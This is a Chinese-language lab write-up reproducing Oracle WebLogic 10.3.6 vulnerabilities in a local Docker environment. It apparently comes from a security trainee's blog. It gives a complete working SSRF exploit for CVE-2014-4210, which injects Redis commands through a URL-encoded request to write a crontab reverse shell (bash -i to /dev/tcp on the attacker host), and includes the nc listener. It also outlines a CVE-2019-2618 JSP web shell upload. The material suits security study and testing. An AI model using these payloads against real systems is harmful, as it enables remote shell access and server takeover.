0x00 前期准备
Weblogic简介
WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。
部署
本地Ubuntu18.04使用docker容器部署。
Ubuntu IP: 192.168.2.7
创建任意目录并创建文件docker-compose.yml
1 | version: '2' |
保存后在此目录下开启容器。
1 | docker-compose up -d |
稍等片刻即可下载完成并开启。
0x01 漏洞扫描
当前Weblogic Server的版本为10.3.6.0,利用Github搜索公开POC进行扫描检测。
git到kali机中进行检测。
在ip的txt文件中添加地址,默认端口为7001。
并执行脚本。
1 | python3 ws.py -t ip.txt |
扫描结果
CVE-2014-4210
weblogic的SSRF漏洞,该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件.
CVE-2018-3252
Weblogic远程代码执行漏洞
CVE-2019-2618
WebLogic任意文件上传漏洞
CVE-2019-2888
WebLogic未授权XXE漏洞
CVE-2020-2551
Weblogic IIOP 反序列化
0x03 漏洞复现
CVE-2014-4210
环境
weblogic容器 IP: 172.18.0.3
redis容器 IP: 172.18.0.2
kali IP: 192.168.2.5
SSRF漏洞概述
服务端请求伪造(Server Side Request Forgery, SSRF)
指的是攻击者在未能取得服务器所有权限时,利用服务器漏洞以服务器的身份发送一条构造好的请求给服务器所在内网。SSRF攻击通常针对外部网络无法直接访问的内部系统。
SSRF可利用方式
SSRF漏洞可以判断内网主机存活以及端口开放情况,可以读取服务器文件,攻击内网的web应用。
漏洞测试
Weblogic的SSRF有一个比较大的特点,其虽然是一个“GET”请求,但是可以通过传入%0a%0d来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。
在weblogic中此漏洞的路径为
1 | http://ip:7001/uddiexplorer/SearchPublicRegistries.jsp |
点击rearch进行抓包
在operator变量后修改参数为
1 | http://192.168.2.7:7002 |
进行端口存活测试,经测试后发现当回显内容中不存在but could not connect即端口为存活状态
修改operator变量后参数为
1 | http://192.168.2.7:7001 |
使用此方法便可探测出当前服务器所开放的端口以及内网ip以及端口。
接下来需要发送三条redis命令,将弹shell脚本写入/etc/crontab:
1 | set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.2.5/4444 0>&1\n\n\n\n" |
进行url编码绕过拦截并将其使用GET的形式进行注入:
1 | http://192.168.2.7:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.18.0.3:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.5%2F4444%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa |
到kali机中进行端口监听:
1 | nc -lvnp 4444 |
访问编辑过后的URL
回到kali中查看
成功反弹shell。
CVE-2019-2618
该漏洞主要是利用了WebLogic组件中的DeploymentService接口向服务器上传文件。攻击者突破了OAM(Oracle Access Management)认证,设置wl_request_type参数为app_upload,构造文件上传格式的POST请求包,上传jsp木马文件,进而可以获得整个服务器的权限。
漏洞测试
访问页面http://192.168.2.7/bea_wls_deployment_internal/DeploymentService
并进行抓包
将以下内容替换为抓包内容:
tips:将GET修改为POST,并黏贴connect及以下内容
1 | Connection: close |
发包后会回显上传路径。
访问路径下的shell文件。
http://192.168.2.7:7001/bea_wls_internel/shell.jsp
whoami命令执行成功。
CVE-2018-3252
CVE-2019-2888
CVE-2020-2551
未找到weblogic存在此三个漏洞的版本。
快乐分享
带薪拉屎真的爽!!!
在奇安信的第五天结束